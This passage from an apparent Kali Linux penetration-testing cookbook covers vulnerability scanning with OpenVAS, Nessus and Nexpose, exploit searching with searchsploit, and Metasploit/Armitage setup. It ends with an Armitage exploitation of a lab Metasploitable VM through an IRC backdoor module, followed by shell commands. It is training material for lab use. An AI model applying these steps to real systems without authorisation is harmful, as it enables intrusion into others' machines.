OpenVAS (http://www.openvas.org)
Nessus (https://www.tenable.com/products/nessus-vulnerability-scanner)
Nexpose (https://www.rapid7.com/info/nexpose-community/)
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Installation and configuration of
OpenVAS
Since the default Kali Linux media does not include OpenVAS with the initial
installation, we will need to perform a full, fresh installation. This is done from the
console or over a remote connection.

OpenVAS is an open source vulnerability management platform that was created as a
fork of the venerable Nessus platform when Tenable Network Security moved Nessus to
a closed source (initially named GNessUs). Over time, the OpenVAS framework
became part of the Greenbone Network's commercial vulnerability management
solution. Greenbone continues to contribute to OpenVAS, ensuring that it stays up to date
and relevant.

Considering that OpenVAS is accessible through a web browser as well as the
command line, it is a very powerful tool that can be leveraged either locally through the
command line or a browser, or it can be put in place in a central location and used by
other devices on the network.
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Getting ready
In order to be able to complete this section, you will need this:

Console access to your Kali Linux system
Internet access to download and install OpenVAS application
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How to do it...
We will perform the steps necessary to install OpenVAS on Kali:

1. If you have not fully updated your Kali Linux installation, you will want to do so
now. From the root shell, run the following command. If there are many updates,
this may take a while, but be patient. Once the update process is complete, reboot
the system, login, and open a root shell again:

apt-get update && apt-get dist-upgrade -y

2. From the root shell, use apt-get to download and install OpenVAS: 

apt-get install openvas

3. Once the installation is complete, run the following from the root shell to kick off
the setup process. Due to the amount of data needed, it is likely this will take a
while even over a fast connection, so be prepared to wait:

openvas-setup

4. At the end of this process, you will see the admin password displayed. Write this
down so that you are able to log into the OpenVAS portal.

In the event where you forget this password, it can be reset from the
command line using the following:
openvasmd --user=admin --new-password=[your password here]
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A basic vulnerability scanning
with OpenVAS
Once installed, OpenVAS provides a centralized platform that can be used from any
browser-based system or from the command line. Because OpenVAS is a security
analysis tool, it will be looking at the systems in this environment to identify services
and vulnerabilities, so ensure that you are prepared for potential impacts. Even the most
careful and the least impact scans can potentially affect services.
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Getting ready
In order to be able to complete this section, you will need the following steps
completed:

OpenVAS successfully installed and configured on your Kali Linux system
Access to the Kali system, either from the desktop or a browser
Network access to the systems that were configured as part of the lab discussion in
the earlier sections
You will need to confirm the IP address of your lab network and be able to ping
hosts on it
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How to do it...
We will perform a basic vulnerability scan using OpenVAS:

1. Connect to the OpenVAS service on the Kali Linux system by opening a browser
and navigating to https://[your Kali IP]:9392; accept the certificate security warning,
and create an exception for the invalid certificate.

2. To prepare a more permanent implementation, create a new user that is unique to
your use. From the dashboard, navigate to Administration | Users. You will see the
list of configured users (in this case, since this is a default installation, there should
only be Admin). Under Actions for the user admin, click on Clone.

3. Once cloned, you will be taken to the new account overview page. Click on the
Edit User option in the upper-left part to edit the details for this user. You will be
able to set the username, as well as permissions. Give the new user an appropriate
name and reset the password to something you will remember in the future
exercises.

In larger environments where LDAP is available, you can also connect
OpenVAS to these repositories to leverage a centralized account
management. To enable this, navigate to Administration | LDAP and
configure the connection information that is necessary to connect to these
repositories.

4. Once connected to the OpenVAS system, click on the Scans | Tasks link from the
top menu bar. Once the page loads, you should be immediately presented with an
initial scan wizard. This will help you kick off the very first scan you will run,
which we will run against our first Windows 7 host.

5. With the Task Wizard window open, enter the IP address of your lab network. In
this case, add 192.168.56.0/24 into the textbox, and initiate the scan by clicking on
Start Scanning:
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Task Wizard to initial a scan

6. After the scan is initiated, you will see a list of tasks, one of which is the scan we
just created:

List of running tasks

7. While the scan is running, you should familiarize yourself with the action icons
available, as they can be used to archive task configurations to move to other
systems, clone to create a copy, and so on.

8. Once the scan is completed, you should see a change in the dashboard view to
something that looks similar to the following:
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Task dashboard after initial scan

9. Click on the date of the scan to see the results of the scan:

Scan result report

10. There are some important things to note in the initial report. First, you will see that
OpenVAS is only showing you three of the identified 15 vulnerabilities. While this
may seem unusual, it is necessary to understand how OpenVAS displays its results
through the default filter. The field named Quality of Detection (QoD) stands for
an indication of how trustworthy the results of a particular scan maybe. To
demonstrate this fact, click on the vulnerability with the highest QoD: 
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Vulnerability details

11. As you can see, the QoD for this check is 95%, meaning that the ability to
determine a host's exposure to this vulnerability is quite high. In looking through
the details of the check, you can also see that this is a potentially damaging
vulnerability—this vulnerability requires a vendor-supplied fix, has a very wide
distribution of affected platforms, and the result of a successful exploitation results
in remote code execution (RCE). The combination of these factors results in the
severity to be calculated as a 9.3 out of 10 (HIGH).

This particular vulnerability was used by the WannaCry ransomware
campaign that occurred in May 2017. Additional fields of interest are the
manner in which the vulnerability was detected, and the information
necessary to get more detailed information, including vendor-specific
patch information as well as CVE/BID/CERT information.

12. Using the information contained in this report will help to determine the system's
level of risk to some known vulnerabilities and insecure configurations. If you
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would like more detail, such as identified vulnerabilities that are below the default
QoD of 70%, you may customize the filter in the upper portion of the report screen:

Customize filtered view

13. At the far right in the Actions column, you can see some very useful options. The
Add Note allows you to add additional narrative to the reports to add context,
document additional or relevant findings, and so on. The Add Override option
allows you to override a particular finding, with fields for where this is permitted,
which hosts, duration of the override, and the new severity (overrides are
frequently used to designate a false positive severity):
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Each report contains documented vulnerabilities that can be used in
conjunction with other tools (such as Metasploit) to successfully gain
access to a target system. This information must be treated with care.
Ensure that the installation of OpenVAS is secured, and that the service is
not left running when not in immediate use.
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Advanced vulnerability scanning with
OpenVAS
Vulnerability identification through unauthenticated network scanning is a good way to
start gathering intelligence on a network, but a powerful component of this is the ability
to perform more frequent, targeted scans, and this can include credentials that allow for
the successful authentication to a target system for deeper level evaluations.

Features that make OpenVAS more powerful include highly configurable scan
configurations, scheduled tasks, automated reporting, and alerting.

Aside from the default scan configurations that are present in the OpenVAS dashboard, it
also contains some very flexible options, including scheduled scans and customized
scan types. We will be looking at customized scan configurations.
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Getting ready
In order to complete this section, you will need the following:

OpenVAS successfully installed and configured on your Kali Linux system
Access to the Kali system, either from the desktop or a browser
Network access to the systems that were configured as part of the lab discussion in
earlier sections.
You will need to confirm the IP address of the desktop target1.kalicookbook.local
Successfully ping target1.kalicookbook.local from the Kali Linux system

||||||||||||||||||||

||||||||||||||||||||

https://technet24.ir
https://technet24.ir


||||||||||||||||||||

https://technet24.ir
https://technet24.ir
https://technet24.ir


How to do it...
Let's begin our advanced scanning techniques using OpenVAS:

1. To prepare to configure more in-depth scans, we will start with adding credentials
we may be aware of. When credentials are known, we will be able to do much
deeper levels of evaluation. Navigate to Configuration | Credentials. In the upper-
left part, click on the New Credential icon to bring up the New Credential dialog
box. Configure as follows, using a domain user from your lab domain:

New Credential dialog

As new accounts are discovered, they should be added to this section to
not only be used for authentication but also identification of all places
where they are used – a password reuse is very common.

2. The next section we will configure will be the selection of targets. Navigate to
Configuration | Targets. On this page, you will see some existing target sets,
including the automatically generated ones used in the quick start wizard. Click on
the New Target icon to create a new one. Use the following configuration:
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Configure New Target

3. Now that the target environment and known credentials are configured, we will
take a look at the actual scan configuration. Navigate to Configuration | Scan
Configs. The following scans are typical for a fresh installation:

List of scan configurations
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4. One thing you will notice is that scans can have the same number of NVT's, but
have a higher or lower likelihood of causing services to stop. Also, scans can
reference and leverage data from previous runs. To get a better idea, find the full
and fast scan configuration, and click on Clone under the Actions column. When the
new configuration is presented, click on the Edit icon, and give the scan a more
meaningful name. Review the settings to get a better understanding of how the scan
is configured:

Scan configuration

The Fast and Full Scan is the configuration we used for our scan in the
previous section. Despite how quickly the scan runs, it contains a lot of
NVTs, demonstrating the speed of OpenVAS.

5. We will now put these three components – target, credentials, and a scan
configuration together to create a task. Navigate to Scans | Tasks, and click on the
New Task icon. Once opened, enter the following information:

Name: Scan for vulnerabilities
Scan targets: Internal network
Click on the star at the end of the schedule line, and create a new schedule
Scan config: Kali Cookbook
Leave all other options default, then click on Save
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6. From this point forward, a weekly, deep vulnerability scan will be run, and a
report will be generated for review. Multiple scheduled runs can be configured as
necessary, with email notifications sent at their completion.
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Installation and Configuration of Nessus
Nessus is one of the most widely used penetration testing platforms in the industry It
used to come pre-installed in Kali up until recent releases. It is sold as a commercial
product by Tenable, but we will be using the home edition, which will allow us to
perform scanning on a limited number of IPs and gain the knowledge we need to use the
tool fully. 
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Getting ready
Let's ensure the following prerequisites:

Kali Linux is running and you are logged in as root
Validate the internet connectivity
Ensure you have recently done the updates and upgrades to Kali
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How to do it...
We will perform Nessus setup and initial configuration:

1. We must first register for an account by going to the following website https://www.ten
able.com/products/nessus-home and register for an activation code:

Tenable registration website

2. Once you register you will be shown a Download link - select it:
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Tenable nessus download screen

3. Select the appropriate download Linux for your Kali distribution in our case we
will be downloading the 64 bit version:
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Tenable Nessus OS screen selection

4. On the subscription agreement screen check the box to accept the terms of service
and click Download. Then click Save File:

Nessus file download screen

5. Open a terminal window and enter the following commands:

cd ~/Downloads <enter>
dpkg -i Nessus-6.11.1-debian6_amd64.deb <enter>
service nessusd start <enter>

6. Launch your web browser by clicking the Firefox icon: 
7. Open the following page: https://localhost:8834. You will be brought to a screen

saying where your connection is not secure. Click on Advanced, select Add
Exception..., and select Confirm Security Exception:

||||||||||||||||||||

https://technet24.ir
https://technet24.ir
https://technet24.ir


Firefox - certificate warning screen

8. From the welcome to Nessus screen, click on Continue.
9. You will be asked to create a local account. For our purposes, we will use the

username of the admin, select and use a good password, and select Continue:
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Nessus - account setup screen

10. Check your email and enter your Activation Code and select Continue:
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Nessus - registration screen

11. You will be brought to a Nessus splash screen, and it will begin downloading and
initializing other setup functions. 

This process will take several minutes to perform so please
be patient. While you are waiting for the initialization process to
complete, you can go ahead and create a bookmark for Nessus.

12. You will now be brought to the main login screen; enter the username and
password previously created and select Sign In.

13. Let's validate that Nessus is up to date - from the main screen, select the Gear icon
and click on it.

14. From the Scanners menu, select Software Update and click on Manual Software
Update.

15. From the Manual Software Update screen, select Update all components and click
on Continue:
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Nessus - manual software update screen

Wait a couple of minutes because when the updates complete, the interface
may restart and you may be brought back to a login screen. 

16. Ensure Automatic Updates is enabled, specify Update Frequency, and click
on Save:
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Nessus - automatic updates screen

To save resources when you are not using Nessus, you can stop the service
by closing the browser and selecting Applications | Vulnerability
Analysis | Nessus stop.
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A basic vulnerability scanning with
Nessus
We will perform some basic vulnerability scans against our network to see if they have
any known issues or weaknesses with Nessus.
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Getting ready
Let's ensure the following prerequisites:

Kali Linux is running and you are logged in as root
Start the Metasploitable virtual machine
Ensure you have completed the setup of Nessus, Nessus is started, and you are at
the main screen after logging in
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How to do it...
We will now perform our vulnerability scan using Nessus:

1. Although we already have our targets from previous exercises, we will perform a
basic host discovery to start. Select New Scan:

2. From the Scanner Templates screen, select Host Discovery.
3. In the Name field, add a descriptive name and specify your targets. In this case, we

are going to specify our test network of 192.168.56.0/24 and select Save:

Nessus - host discovery screen

4. From the My Scans screen, select the newly created scan and press the launch
button on the right. The scan will take a couple of minutes to perform. While it is
running, you will see a green circular icon.

While this scan is running, you can create other scans and start them as
well. So, you don't have to wait for a scan to finish to move on.
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5. Once the scan is complete, you will see a check mark in the scan screen, and you
can click on it to review the results. From our results, you will see that a number of
hosts are responding:

Nessus - host discovery results

6. To perform a basic scan against our Metasploitable VM at 192.168.56.101, we will
select Scans from the top menu, New Scan, and select Basic Network Scan.

7. In the Name field, add a descriptive name; and for targets, use the IP of your
Metasploitable machine. Click on Save, then launch the scan:
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Nessus - basic network scan

8. This scan will take several minutes to complete, but once done, we can select the
scan to view the results. You will notice we have discovered several
vulnerabilities:
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Nessus - basic network scan results

9. To take a closer look, select Vulnerabilities at the top. From here, you will have a
more detailed view of the vulnerabilities in the order of severity. Scroll through
the list and take a look at all the data presented:
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Nessus - basic scan results - vulnerabilities list

10. Let's click on the VNC server vulnerability to get some more specific information
about that vulnerability. This provides us with a lot of information that we can use
later to gain remote access to the host:
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Nessus - VNC vulnerability details

Take some time to go through several of the vulnerabilities, and explore
the information provided. Also, try running scans against other devices
you have authorization to do so. These could be devices and computers
on your personal network or other test hosts you may have installed.
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Advanced vulnerability scanning with
Nessus
We will now create a more in-depth scan where we will modify some of the parameters
of a scan to include other, more targeted testing using Nessus. What we would hope to
see is better and more complete results of the target host in question. This will give you
a base level of understanding to customize your scans.
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Getting ready
Let's ensure the following prerequisites:

Kali Linux is running and you are logged in as root
Start the Metasploitable virtual machine
Ensure you have completed the setup of Nessus, Nessus is started, and you are at
the main screen after logging in
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How to do it...
Let's begin our advanced scanning techniques using Nessus:

1. To perform a more advanced scan with Nessus, we will explore several options
available to us. Select Scans from the top. Select New Scan | Advanced
Scan. From our General screen, add a descriptive name; and target your
Metasploitable VM's IP address.

2. Spend a minute to scroll through the Basic options on the left. We can perform
scheduled scans. We can also provide notifications when the scan is done.

3. Select Discovery | Host Discovery; look through the options available. You will
note that we can turn on various discovery methods including scanning for network
printers. 

Since we already know the specific host that we want to scan, we need not
select any other options under host discovery. However, if you are
doing the subnet scan, these options are useful.

4. Select Discovery | Port Scanning, and modify the following options based on the
following screenshot:
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Nessus - advanced settings

5. Select Assesment | General. Check Perform thorough tests.
6. Select Assesment | Brute Force. Check both Oracle Database Tests and Hydra.

You can add login and password files to target possible or well-known
usernames and passwords.

7. Select Assesment | Web Applications. Check Follow dynamically generated pages.
8. Under Application Test Settings, match the following options:
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Nessus - advanced settings

9. Select Save at the bottom and launch the scan. This scan will take a long time to
complete (about 2 hours). However, once completed, let's review the following
result. We will see that we have found incremental information and vulnerabilities
regarding the host in question:
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Nessus - scan results screen

10. Clicking on the results, you will see that we significantly increased the number of
high-level vulnerabilities. This again is all useful information that we can use as
we move forward to exploiting our targets. 

Remember to save and log all the information so that you can use this
information as we move forward.
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The installation and configuration of
Nexpose
Nexpose is a commercial product by Rapid7. Recently, it appears that it was renamed to
InsightVM; and there was an attempt to eliminate the community edition of Nexpose.
However, Rapid7 has reconsidered and made the community edition available once
again with a 1 year license key.

We will install the community edition of Nexpose here.
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Getting ready
Let's ensure the following prerequisites:

Take a snapshot of your VM first
Kali Linux is running and you are logged in as root
Disconnect the host-only network and use the NAT network only

The Nexpose installation and operation can be confused with multiple
interfaces and multiple connections. For this and all recipes that involve
Nexpose we will be doing everything on the NAT network. After you are
done with the recipes involving Nexpose, you may want to revert back to
a snapshot taken just before installation.
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How to do it...
We will now install and configure Nexpose on our Kali machine:

1. First, we must register on Rapid7's site, obtain a license key, and download the

code. Open Firefox by clicking on the icon. 

2. Go to the following site, https://www.rapid7.com/info/nexpose-community/ and register with
your information. You will receive an email within a few minutes with your license
key, as well as being able to download the appropriate software. Save the file in
the Downloads directory:

The Nexpose registration website

3. Now, let's prepare to install Nexpose by opening a terminal window and entering

the following commands: 

cd <enter>
cd Downloads <enter>
chmod 770 Rapid7Setup-Linux64.bin <enter>
./Rapid7Setup-linux64.bin <enter>
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4. Once you are presented with the welcome screen, click on Next:

The Nexpose installer screen

5. Select the radio button labeled Security Console with local Scan Engine. Accept
the default destination directory and click on Next. If you receive an error related
to insufficient disk space, just click on Continue.

6. On the system settings screen, click on Next:
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The Nexpose installer screen - settings compare

7. Enter your information on the account details screen, and click on Next:
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The Nexpose installer screen - user details

8. On the next screen, select Initialize and start after installation and click on Next. It
will then go through the installation process and when complete you will be
presented with the following screen:
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The Nexpose installer screen - complete

9. Click on Finish to close it out. 

As it states, it can take several minutes to initialize and start. My
recommendation is to let it sit for 30 minutes, and then reboot the VM.
Once the VM comes backup, log in and give it a few minutes before
attempting to go to the website.

10. Open Firefox by clicking on the icon,   and enter the following address in the
address bar: https://localhost:3780. If you are presented with a security screen, click
on Advanced and select Add Exception:
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The Firefox security screen

11. Click on Confirm Security Exception:
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The Firefox security exception screen

12. Once Nexpose has finished installing, you will be brought to the login screen. Use
the credentials you provided to log on:

The Nexpose login screen

13. Almost immediately, you will be brought to the screen asking you to enter your
product key. Retrieve the email that was sent containing it. Enter the key and click
on ACTIVATE WITH KEY:

The Nexpose enter product key screen

14. Once the activation is successful, you will receive a confirmation screen:
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The Nexpose activation success screen

15. For now, let's click on the intro screen, and select Dismiss:

Welcome to the Nexpose screen

16. The updates will automatically install after the startup.

We suggest moving directly into the next recipe, Basic vulnerability
scanning with Nexpose.
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Basic vulnerability scanning with
Nexpose
Now we will use Nexpose to scan our NAT network to give us information regarding
vulnerable devices and services. The community edition of Nexpose is limited to 32 IP
addresses but otherwise is fully functional.
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Getting ready
Let's ensure the following prerequisites:

Kali Linux is running and you are logged in as root
Disconnect the host-only network, and use the NAT network on all VMs
Start Metasploitable and your Windows XP machine with the NAT network
connected

The Nexpose installation and operation can be confused with multiple
interfaces and multiple connections. For this and all recipes that involve
Nexpose we will be doing everything on the NAT network. After you are
done with the recipes involving Nexpose, you may want to revert back to
a snapshot taken just before installation.
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How to do it...
Using Nexpose we will now perform a basic vulnerability scan:

1. Open Firefox by clicking on the icon  and browse to https://localhost:3780.
2. Log in with the credentials you used earlier.
3. Click on the Assets button on the left and click on CREATE SITE.

4. Name your site as you wish; in my case, it is Lab:

The Nexpose site creation

5. Next, click on ASSETS at the top; and add your machines IP addresses into the
network; in my case, the Metasploitable VM is 10.0.2.5 and the Windows XP VM
is 10.0.2.6:
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The Nexpose asset screen

6. Now, click on TEMPLATES, and you will notice a variety of scanning templates
that you can use. We are going to use the default, which is Full audit without Web
Spider. Take a minute to read through the scanning templates available:
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The Nexpose template screen

7. Now, select SAVE & SCAN from the top right, when asked to validate, feel free to
check Don't show this alert again, and select the SAVE & SCAN button:

The Nexpose site save and scan confirmation screen
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8. You can monitor the scan progress and watch for Completed Successfully in the
Scan Status:

The Nexpose scan status screen

9. If you scroll down, you will see the identified hosts, IP addresses, operating
system, and most importantly, a count of vulnerabilities:
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The Nexpose device list

10. Let's click on the Metasploitable machine and see what information has been
collected. You will notice various pieces of information as well as Risk Score:
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The Nexpose host detail information

11. Continue to scroll down; and you will see a list of vulnerabilities, services,
installed software, fingerprints, and users:

The Nexpose host vulnerability information

12. Click on one of the vulnerabilities to gather more information about it:
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The Nexpose host vulnerability detail information

13. Scroll down the list; and you will see information on the remediation steps, which
can provide you crucial information on how to exploit the vulnerability.

14. Continue to explore the interface, and when done, return to the home screen by

clicking on the home button on the left. 

We suggest moving directly into the next recipe, Advanced vulnerability
scanning with Nexpose.
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Advanced vulnerability scanning with
Nexpose
Now, we will use Nexpose to perform a more advanced and in-depth scan of our NAT
network. We will use Nexpose in a more aggressive fashion against our target machines.
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Getting ready
Let's ensure the following prerequisites:

Kali Linux is running and you are logged in as root
Disconnect the host-only network, and use the NAT network on all VMs
Start Metasploitable and your Windows XP machine with the NAT network
connected

The Nexpose installation and operation can be confused with multiple
interfaces and multiple connections. For this and all recipes that involve
Nexpose we will be doing everything on the NAT network. After you are
done with the recipes involving Nexpose, you may want to revert back to
a snapshot taken just before installation.
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How to do it...
Let's begin our advanced scanning techniques using Nexpose:

1. Open Firefox by clicking on the icon  and browse to https://localhost:3780.
2. Log in with the credentials you used earlier.
3. Scroll down to the SITES section, and click on the Lab site.
4. Click on TEMPLATES at the top; and scroll down to select the radio button for

Penetration Test. Then, click on SAVE & SCAN at the top:

The Nexpose site template screen

5. Once the scan is complete, you will notice that we have found a larger number of
vulnerabilities than what the original scan produced. Before we continue, we are
going to add some additional information to our site and scan again.

6. Return to the home screen by clicking on the home button on the left. 
7. Scroll down to the SITES section, and click on the Lab site.

8. Now, click on AUTHENTICATION at the top. On the left, select ADD
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CREDENTIALS and enter msfadmin for the name; and click on CREATE:

The Nexpose add credential screen

9. Now, select ACCOUNT on the left and add the following information:

Service: Secure Shell (SSH)
Credential Management: Nexpose
User Name: msfadmin
Password: msfadmin
Confirm Password: msfadmin
Permission Elevation Type: sudo
Permission Elevation User: msfadmin
Permission Elevation Password: msfadmin
Confirm Permission Elevation Password: msfadmin
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The Nexpose account information

10. Now, select CREATE.

11. Select TEMPLATES at the top, select Exhaustive, and select SAVE & SCAN:
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The Nexpose templates screen

This scan can take some time, so please be patient.

12. Once the scan is complete, scroll down to COMPLETED ASSETS, and click on
the Metasploitable machine.

13. You can now scroll down to VULNERABILITIES, and again see a larger list of
vulnerabilities. Spend some time scrolling through the interface and looking at the
vulnerabilities found:
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The Nexpose host vulnerability information
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Finding Exploits in the Target
In this chapter, we will cover the following topics:

Searching the local exploit database
Searching the online exploit database
The Metasploit setup and configuration
The Armitage setup
Basic exploit attacks with Armitage
Advanced attacks with Armitage
Using the backdoor factory and Armitage
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Introduction
In this chapter, we will take the host information that we have accumulated to determine
the potential exploits to use against target machines and services. It is important to note
that as you work through this section, you are going to be launching attacks against hosts.
These attacks are going to create noise on the network that may be picked up by security
devices. Under typical circumstances, you will spend substantial time validating
whether your target is truly vulnerable to an exploit before launching it, so you don't
create any unnecessary information that could be used to determine an active attack
against a device.
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Searching the local exploit database
The searchsploit database is a local exploit database that comes standard with Kali.
This is a great way to search for exploits offline or when you have no internet
connectivity. Because of it's offline search capabilities, it's great for when you are
operating in an air-gapped location.
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Getting ready
Let's ensure the following prerequisites:

Kali Linux is running, and you are logged in as root
Validate internet connectivity
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How to do it...
We will now search the local exploit database:

1. Open the terminal screen by clicking on the terminal icon on the top left. 
2. From the main terminal screen, you should be at a Command Prompt of root@kali:~#.
3. Review searchsploit options by entering the following command:

searchsploit
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Update searchsploit
We must start by ensuring our searchsploit database is updated:

1. From the main terminal prompt, enter the following command to update the
searchsploit database:

searchsploit -u

Regularly updating Kali with the APT package manager will also
automatically update the database.

2. Install additional modules required to run some functions of searchsploit:

apt install -y libxml2-utils

||||||||||||||||||||

https://technet24.ir
https://technet24.ir
https://technet24.ir


||||||||||||||||||||

||||||||||||||||||||

https://technet24.ir
https://technet24.ir


Run a simple query
We will run a simple query against our searchsploit database:

1. From the main terminal prompt, let's run a simple query looking for a known SMB
vulnerability, MS17-010. You may recognize this as the vulnerability associated with
WannaCry as well as other various malware worms:

searchsploit MS17-010

2. You will receive the following output:

Searchsploit console output

3. Let's take a look at some of the specifics related to one of the query results:

nano /usr/share/exploitdb/platforms/windows/dos/41891.rb

4. The following output will show you that you are looking at a Metasploit module.
This module is specifically designed to search devices to see whether they are
vulnerable to this exploit.

We will discuss Metasploit shortly, but it's important to note that if this a
vulnerability is not included in the default Metasploit database, we can
import it for use.
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Nano output of a specific exploit

5. To exit the nano editor, type <control>-x; if you are asked to save modified buffer,
type n.

Explore some of the other results; you will note that 41987.py is an exploit
for this vulnerability written in Python.
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Understanding search options in
searchsploit
There are several parameters you can search for using searchsploit; try the following
examples.

1. The following command will search just the titles of the exploit database for windows
and remote, allowing you to find the potential remote windows vulnerabilities:

searchsploit -t windows remote

2. If you exported your nmap or zenmap results in an XML format, you can search
against that for exploits. Run a quick nmap and output its results to /root/test.xml. The
following command is used to search against that output file and will provide you
with a list of exploits for your nmap search:

searchsploit --nmap /root/test.xml
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Searching the online exploit database
We will use Firefox to review an online exploit database at www.exploit-db.com.

The exploit-db.com site will have all the information in the searchsploit database, but
some may find the web GUI interface easier to use and navigate. There may also be
some slightly newer information on the website as the searchsploit database is only
updated on a weekly basis. The CAPTCHA function of the website is one significant
drawback of using the website.
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Getting ready
Let's ensure the following prerequisites:

Kali Linux is running and you are logged in as root
Validate internet connectivity
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How to do it...
We will now perform searches through the online exploit database:

1. From the main interface, launch the Firefox application. 
2. Go to the site named https://www.exploit-db.com/search.
3. Enter windows remote in the search term, click on reCAPTCHA, and select Search:

Firefox screen capture of the exploit-db.com website

4. You will be provided with an output as shown in the following screenshot. You
will notice that you have a lot of clickable options to navigate through the
database. You can use this to get more information and refine your searches:
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Firefox screen capture of the exploit-db.com website vulnerability list

Click on the orange More Options button to see additional search query
options and try a few searches.
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The Metasploit setup and configuration
The Metasploit Framework now comes as part of the Kali installation, thus making the
setup and the initial configuration a relatively simple process.

The Metasploit Framework is an open source development tool for creating and
executing exploit code against machines. In the later releases of Kali, it has now
become part of the core bundle of tools, and therefore very little setup is required to get
it operational. In this recipe, we will take you through those few steps and get you up
and run.

Note that both the Metasploit Framework and Armitage use the same
backend database, therefore if you have already initialized the database,
skip to the heading – starting the Metasploit framework initialization and
startup section.
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Getting ready
Let's ensure the following prerequisites:

Kali Linux is running, and you are logged in as root
Make sure you have run the updates recently
Validate internet connectivity
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How to do it...
There are several steps in preparing to use the Metasploit console that we will go
through in this section.
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Metasploit Framework initialization and
startup

1. Begin by opening a terminal window by clicking on the terminal icon on the left. 

2. Metasploit uses a database to store information about targets, exploits, and other
information. We need to begin by starting the database daemon. From the Command
Prompt enter the following commands:

service postgresql start

3. Next, we will initialize the database (this only needs to be done once when first
starting it):

 msfdb init

If you ever need to reinitialize the database to start over, you can use the
msfdb reinit command. Be warned that all the existing data will be lost.

4. Now, we can start the Metasploit console:

msfconsole

5. You will now be dropped in the main MSF screen. Note that your Command
Prompt has now changed to msf > to indicate you are now in the console:
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msfconsole screen

Your screen may look different to the previous screenshot. When the
Metasploit Framework starts, it picks a different text based image
(banner) to start with. You can run through them by typing banner at the msf >
prompt.

6. Let's validate our database is connected and operating properly. From the msf >
prompt type the following command, if all is working well, you should see [*]
postgresql connected to msf:

db_status
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Starting the Metasploit console
From the Command Prompt, type the following:

service postgresql start
msfconsole
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Stopping the Metasploit console 
From the msf > console, type the following:

quit
service postgresql stop
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There's more...
Although you can do all your work from the command line, we are going to use
Armitage moving forward, Armitage is a GUI frontend to the Metasploit Framework. If
you want to get more information on using the command line, two great resources are
here:

MSFconsole commands tutorial: https://www.offensive-security.com/metasploit-unleashed/msfconso
le-commands/
Metasploit cheat sheet: https://www.sans.org/security-resources/sec560/misc_tools_sheet_v1.pdf
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The Armitage setup
Armitage is a graphical frontend to the Metasploit Framework.

In this recipe, we will be setting up the Armitage graphical user interface for the
Metasploit Framework. Based on your preference, you may like the GUI versus the
command-line experience. However, you can use them both interchangeably at anytime
because of their common database.

Note that both the Metasploit Framework and Armitage use the same
backend database, therefore if you have already initialized the database,
skip to the section on starting Armitage.
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Getting ready
Let's ensure the following prerequisites:

Kali Linux is running, and you are logged in as root
Make sure you have run the updates recently
Validate internet connectivity
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 Armitage initialization and startup
We shall now initialize and start up Armitage:

1. Begin by opening a terminal window by clicking on the terminal icon on the left. 

2. Metasploit uses a database to store information about targets, exploits, and other
information. We need to begin by starting the database daemon. From the Command
Prompt, type the following:

service postgresql start

3. Next, we will initialize the database (this only needs to be done once when first
starting it):

 msfdb init

If you ever need to reinitialize the database to start over, you can use the
msfdb reinit command. Be warned that all the existing data will be lost.

4. Start Armitage by typing this:

armitage

5. Click on Connect as shown in the following screenshot:

Armitage database connection screen

6. Select Yes when asked to start the Metasploit RPC server:
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Armitage start RPC server screen

You may be asked for the IP address of your computer. Enter the IP
address that you assigned to your host-only network. In my case it's
192.168.56.102.
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Stopping Armitage
To stop Armitage and exit:

1. To exit, click on Armitage at the top, and select Close:

Armitage menu with close option

2. From the Command Prompt, type the following:

service postgresql stop
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Basic exploit attacks with Armitage
In this recipe, we will perform some very basic tasks of Armitage including loading an
nmap scan, performing an nmap scan, finding attacks to use against the target, and
exploiting the target machine. 
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Getting ready
Let's ensure the following prerequisites:

Kali Linux is running, and you are logged in as root
Make sure Armitage is running
Make sure, at a minimum, the Metasploitable VM and Windows XP VM are
running; feel free to turn on other target hosts as you wish
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How to do it...
From the main Armitage screen, we must start by finding our targets on the network. We
have the ability to import hosts from prior nmap scans or run nmap from the Armitage
console itself.
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Import an nmap scan
We will begin by importing an nmap scan into Armitage:

1. Select Hosts | Import Hosts from the top:

Armitage import hosts menu

2. Browse the file system, and select your nmap output XML file; click on Open:

Armitage open file dialog box

3. You will now see your nmap scan results populated, and you may begin working on
the devices:

||||||||||||||||||||

https://technet24.ir
https://technet24.ir
https://technet24.ir


Armitage nmap scan import results populated on screen
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Perform an nmap scan from the
Armitage interface
To perform an nmap scan from within Armitage do the following:

1. Select Hosts | Nmap Scan | Intense Scan from the top:

Armitage nmap scan menu

2. Enter our scan range; in this case, we will scan our entire 192.168.56.0/24 network,
and click on OK. This scan can take a couple minutes to complete, so just be
patient:

Armitage nmap input range dialog box

3. Once finished, you will see a scan complete notification; and your console will
now display your hosts. You can also close the nmap output window by clicking on
the nmap x near nmap toward the middle of the screen:
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Armitage nmap scan results populated on screen
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Find attacks against a host
We will use armitage to find attacks against hosts:

1. At this point, let's work with our Metasploitable machine, which currently has an
IP address of 192.168.56.104. Click on it once to select it (this will be denoted with a
green dotted outline).

2. If you right-click on the device, you will see a variety of options - select Services.
This will bring up a list of all listening ports and services for that host. Scroll
down a bit and take a look at all the information provided:

Armitage host services screen

3. Let's find some possible attacks against the hosts. Click on Attacks | Find Attacks
from the top. This could take a minute or two for it to correlate the information.
When completed, you will receive an Attack Analysis Complete... dialog box.
Select OK to close it:
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Armitage find attacks menu

4. Now, if we right-click on our host, we will see a new menu item labeled attack.
Scroll through all the possible attack options you see there:
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Armitage attack menu
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Exploit the host
We will now launch an exploit against a host:

1. Now that we have attacks that will potentially compromise a host, let's go ahead
and select one to run. Let's right-click on our Metasploitable machine, and select
Attack | irc | unreal_ircd_3281_backdoor.

2. You will be presented with options that you may have to scroll through and change.
For instance, your LHOST should be the interface toward your target VMs. Make
any needed changes, and click on Launch:

Armitage exploit launch dialog

Be patient, it may look like things have stalled or failed, but it will
continue.

3. You will now see that the Metasploitable device icon has changed to show it has
been owned:
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Armitage main screen with indicator of exploited device

4. So now that the device has been owned, let's run a couple of simple commands. By
right-clicking on the device, we will now see a new action called Shell 1; from
there, we will select Interact:
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Armitage shell interact screen

5. You will now be presented with a new Shell 1 tab on the bottom with a $ prompt.
Let's see who we are on the box by entering the following command at the $
prompt:

whoami

6. This should return the user you are currently authenticated as; in our case, we are
root:
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Armitage shell whoami output

7. Just to validate how much damage we can do to this machine, let's enter the
following at the $ prompt:

cd /bin 
touch youhavebeenowned
chmod 777 youhavebeenowned

8. Now, let's login to our Metasploitable VM login with msfadmin/msfadmin, and run the
following command:

ls -lai /bin/youhavebeenowned

9. You will see from the output that the file is there, it exists in the bin directory, and
has read, write, and execute for user, group and everyone:

Armitage command output

The Hail Mary Attack - There is an attack listed as the Hail Mary. In short
